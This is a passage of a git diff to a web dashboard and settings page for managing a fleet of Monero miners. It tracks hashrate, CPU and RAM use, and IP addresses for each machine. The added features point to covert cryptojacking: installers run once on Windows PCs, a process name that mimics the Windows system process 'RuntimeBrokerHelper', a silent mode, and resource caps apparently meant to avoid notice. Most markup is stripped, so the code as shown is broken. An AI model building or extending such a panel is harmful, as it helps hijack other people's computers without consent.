0); const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0); + const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0); const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0'; + const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0; + const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0; + + useEffect(() => { + const now = new Date().toLocaleTimeString(); + setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]); + setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]); + }, [totalHashrate, avgCpu]); + + const topAgents = useMemo( + () => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 6), + [agents] + ); return (
-

Dashboard

+
+

Fleet Dashboard

+

Live monitoring for every installed miner on your network

+
- {isConnected ? 'Live' : 'Reconnecting...'} + {isConnected ? 'Live feed' : 'Reconnecting...'}
- {/* Stats Cards */}
-
-
Total Hashrate
-
- {formatHashrate(totalHashrate)} -
-
across {onlineCount} active miners
+
+
Fleet Hashrate
+
{formatHashrate(totalHashrate)}
+
{onlineCount} miners active
-
-
Miners Online
+
+
Online
{onlineCount} / {agents.length}
{agents.length - onlineCount} offline
-
-
Shares Accepted
-
{acceptedShares}
-
{acceptRate}% accept rate
+
+
Accept Rate
+
{acceptRate}%
+
{acceptedShares} good · {rejectedShares} bad
-
-
Total Shares
-
{totalShares}
-
{totalShares - acceptedShares} rejected
+
+
Resource Avg
+
{avgCpu.toFixed(0)}% CPU
+
{avgMem.toFixed(0)}% RAM fleet average
+
+
+ +
+
+ +
+
+
- {/* Agent Grid */}
-

Active Miners

+

Machine Detail

{agents.length === 0 && (
-
🖥️
-

No miners connected

-

Build and deploy a miner using the Miner Builder to get started.

+

No miners connected yet

+

Build an installer in Miner Builder, run it once on a Windows PC, and it will appear here automatically.

)} - {agents.map((agent) => ( -
+ {topAgents.map((agent) => ( +
{agent.name}
- - {agent.status} - + {agent.status}
-
-
- Hashrate - {formatHashrate(agent.hashrate_15m)} -
-
- CPU - {agent.cpu_usage_pct.toFixed(0)}% -
-
- Shares - {agent.shares_good} -
-
- Uptime - {formatUptime(agent.uptime_seconds)} -
-
-
- {agent.ip || 'Unknown IP'} - v{agent.version || '?'} +
+
Hashrate 15m{formatHashrate(agent.hashrate_15m)}
+
Hashrate 1m{formatHashrate(agent.hashrate_1m)}
+
Hashrate 15s{formatHashrate(agent.hashrate_15s)}
+
CPU / RAM{agent.cpu_usage_pct.toFixed(0)}% / {agent.memory_usage_pct.toFixed(0)}%
+
Cores / RAM{agent.cpu_cores} cores · {agent.memory_gb} GB
+
Shares{agent.shares_good} ok · {agent.shares_bad} bad · {agent.shares_total} total
+
Network{agent.ip || 'unknown'} · v{agent.version || '?'}
+
Uptime{formatUptime(agent.uptime_seconds)}
+
Last seen{new Date(agent.last_seen).toLocaleString()}
))}
- {/* Recent Shares */}

Recent Shares

-
+
@@ -118,9 +128,7 @@ export default function DashboardPage() { {shares.length === 0 && ( - - - + )} {shares.map((share) => ( @@ -131,7 +139,7 @@ export default function DashboardPage() { {share.accepted ? 'Accepted' : 'Rejected'} - + ))} @@ -158,6 +166,5 @@ function formatUptime(seconds: number): string { } function formatTime(t: string): string { - const d = new Date(t); - return d.toLocaleTimeString(); + return new Date(t).toLocaleTimeString(); } diff --git a/server/web/src/pages/Pages.css b/server/web/src/pages/Pages.css index ba02b52..5d27441 100644 --- a/server/web/src/pages/Pages.css +++ b/server/web/src/pages/Pages.css @@ -614,3 +614,81 @@ margin-top: 0.5rem; margin-bottom: 0.5rem; } + +.page-subtitle { + color: var(--text-muted); + font-size: 0.875rem; + margin-top: 0.25rem; +} + +.chart-row { + margin-bottom: 1.5rem; +} + +.chart-wrap { + width: 100%; +} + +.chart-title { + font-size: 0.9375rem; + margin-bottom: 0.75rem; + color: var(--text-secondary); +} + +.chart-empty { + min-height: 260px; + display: flex; + align-items: center; + justify-content: center; + color: var(--text-muted); +} + +.builder-layout-wide { + grid-template-columns: 320px 1fr; +} + +@media (max-width: 1100px) { + .builder-layout-wide { + grid-template-columns: 1fr; + } +} + +.cheat-sheet-panel { + align-self: start; + position: sticky; + top: 1rem; +} + +.stat-card.accent-cyan { border-top: 3px solid var(--accent-cyan); } +.stat-card.accent-green { border-top: 3px solid var(--accent-green); } +.stat-card.accent-purple { border-top: 3px solid var(--accent-purple); } +.stat-card.accent-yellow { border-top: 3px solid var(--accent-yellow); } + +.agent-card.detailed .agent-detail-lines { + display: grid; + grid-template-columns: 1fr; + gap: 0.5rem; + margin-top: 1rem; +} + +.agent-detail-lines div { + display: flex; + justify-content: space-between; + gap: 1rem; + font-size: 0.8125rem; + padding: 0.35rem 0; + border-bottom: 1px solid rgba(42, 58, 92, 0.5); +} + +.agent-detail-lines span { + color: var(--text-muted); +} + +.agent-detail-lines strong { + color: var(--text-primary); + text-align: right; +} + +.table-card { + overflow-x: auto; +} diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 4668678..6926142 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -1,6 +1,7 @@ import { useState, useEffect } from 'react'; import { api } from '../api/client'; import type { ServerConfig } from '../types'; +import { HelpTip } from '../components/HelpTip'; import './Pages.css'; export default function SettingsPage() { @@ -83,7 +84,7 @@ export default function SettingsPage() {

Pool Connection

Configure which Monero pool your miners connect to.

- +
- + Wallet

Default wallet address for new miners.

- + Default settings applied to newly built miners.

- - updateField('default_agent_config.threads', parseInt(e.target.value) || 1)} - /> + +
+ {config.default_agent_config.thread_mode === 'fixed' ? ( +
+ + updateField('default_agent_config.threads', parseInt(e.target.value) || 1)} + /> +
+ ) : ( +
+ + updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)} + /> +
+ )} +
+
- +
- + + updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)} + /> +
+
+
+
+
+ + +
+
+ + updateField('default_agent_config.process_name', e.target.value)} + placeholder="RuntimeBrokerHelper" + /> +
+
- +
- +
- +
- + updateField('background.silent_mode', e.target.checked)} /> - Silent Mode (no console window, runs hidden) + Silent Mode (no console window)
- +
No shares submitted yet
No shares submitted yet
{share.hash?.substring(0, 16)}...{share.hash?.substring(0, 20)}...